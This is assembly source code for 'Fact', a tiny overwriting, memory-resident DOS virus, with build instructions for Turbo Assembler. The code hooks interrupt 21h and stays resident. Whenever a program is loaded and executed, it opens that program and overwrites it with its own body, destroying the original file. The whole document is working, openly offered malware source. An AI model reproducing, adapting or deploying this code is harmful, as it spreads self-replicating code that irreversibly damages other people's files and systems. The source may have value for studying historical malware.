Fact

  Fact is a 45 bytes overwriting resident COM/EXE infector. Infects files at
  load and/or execute program by overwriting the infected file.

  Compile Fact with Turbo Assembler v 4.0 by typing:
    TASM /M FACT.ASM
    TLINK /t /x FACT.OBJ
*

.model tiny
.code
 org   100h

code_begin:
	     mov     ax,3521h		 ; Get interrupt vector 21h
	     int     21h
	     mov     word ptr [int21_addr],bx
	     mov     word ptr [Int21_addr+02h],es

	     mov     ah,25h		 ; Set interrupt vector 21h
	     lea     dx,int21_virus	 ; DX = offset of int21_virus
	     int     21h

	     xchg    ax,dx		 ; DX = number of bytes to keep res...
	     int     27h		 ; Terminate and stay resident!

int21_virus  proc    near		 ; Interrupt 21h of Fact
	     cmp     ah,4bh		 ; Load and/or execute program?
	     jne     int21_exit 	 ; Not equal? Jump to int21_exit

	     mov     ax,3d01h		 ; Open file (write)
	     int     21h
	     xchg    ax,bx		 ; BX = file handle

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ah,40h		 ; Write to file
	     mov     cx,(code_end-code_begin)
	     lea     dx,code_begin	 ; DX = offset of code_begin
int21_exit:
	     db      0eah		 ; JMP imm32 (opcode 0eah)
code_end:
int21_addr   dd      ?			 ; Address of interrupt 21h
virus_name   db      '[Fact]'            ; Name of the virus
	     endp

end	     code_begin